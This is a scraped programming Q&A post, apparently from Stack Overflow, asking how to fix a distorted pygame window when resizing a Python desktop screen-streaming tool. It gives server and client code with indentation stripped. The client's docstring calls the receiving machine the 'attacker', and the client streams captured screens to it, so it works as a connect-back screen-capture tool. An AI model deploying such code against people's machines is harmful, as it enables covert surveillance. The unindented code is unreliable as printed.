Problem
Basically I have this code to streaming the desktop screen. The problem is that when I will try to resize the screen of server (server will receive the images) the image stay cutted/distorted
My try of resize the window:
What is supposed to be (simulation):
Question
Which alteration is need to resize correctly the window of image streaming?
Thanks in advance.
Server
import socket
from zlib import decompress
import pygame
#1900 1000
WIDTH = 600
HEIGHT = 600
def recvall(conn, length):
""" Retreive all pixels. """
buf = b''
while len(buf) < length:
data = conn.recv(length - len(buf))
if not data:
return data
buf += data
return buf
def main(host='192.168.15.2', port=6969):
''' machine lhost'''
sock = socket.socket()
sock.bind((host, port))
print("Listening ....")
sock.listen(5)
conn, addr = sock.accept()
print("Accepted ....", addr)
pygame.init()
screen = pygame.display.set_mode((WIDTH, HEIGHT))
clock = pygame.time.Clock()
watching = True
#x = sock.recv(1024).decode()
#print(x)
try:
while watching:
for event in pygame.event.get():
if event.type == pygame.QUIT:
watching = False
break
# Retreive the size of the pixels length, the pixels length and pixels
size_len = int.from_bytes(conn.recv(1), byteorder='big')
size = int.from_bytes(conn.recv(size_len), byteorder='big')
pixels = decompress(recvall(conn, size))
# Create the Surface from raw pixels
img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
#img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
#.frombuffer(msg,(320,240),"RGBX"))
# Display the picture
screen.blit(img, (0, 0))
pygame.display.flip()
clock.tick(60)
finally:
print("PIXELS: ", pixels)
sock.close()
if __name__ == "__main__":
main()
Client
import socket
from threading import Thread
from zlib import compress
from mss import mss
import pygame
import sys
from PyQt5 import QtWidgets
app = QtWidgets.QApplication(sys.argv)
screen = app.primaryScreen()
size = screen.size()
WIDTH = size.width()
HEIGHT = size.height()
print(WIDTH, HEIGHT)
WIDTH = 600
HEIGHT = 600
def retreive_screenshot(conn):
with mss() as sct:
# The region to capture
rect = {'top': 10, 'left': 10, 'width': WIDTH, 'height': HEIGHT}
while True:
# Capture the screen
img = sct.grab(rect)
print(img)
# Tweak the compression level here (0-9)
pixels = compress(img.rgb, 0)
# Send the size of the pixels length
size = len(pixels)
size_len = (size.bit_length() + 7) // 8
try:
conn.send(bytes([size_len]))
except:
break
# Send the actual pixels length
size_bytes = size.to_bytes(size_len, 'big')
conn.send(size_bytes)
# Send pixels
conn.sendall(pixels)
def main(host='192.168.15.2', port=6969):
''' connect back to attacker on port'''
sock = socket.socket()
sock.connect((host, port))
try:
#sock.send(str('123213213').encode('utf-8'))
while True:
thread = Thread(target=retreive_screenshot, args=(sock,))
thread.start()
thread.join()
except Exception as e:
print("ERR: ", e)
sock.close()
if __name__ == '__main__':
main()
question from:
https://stackoverflow.com/questions/65670883/resize-pygame-screen 与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…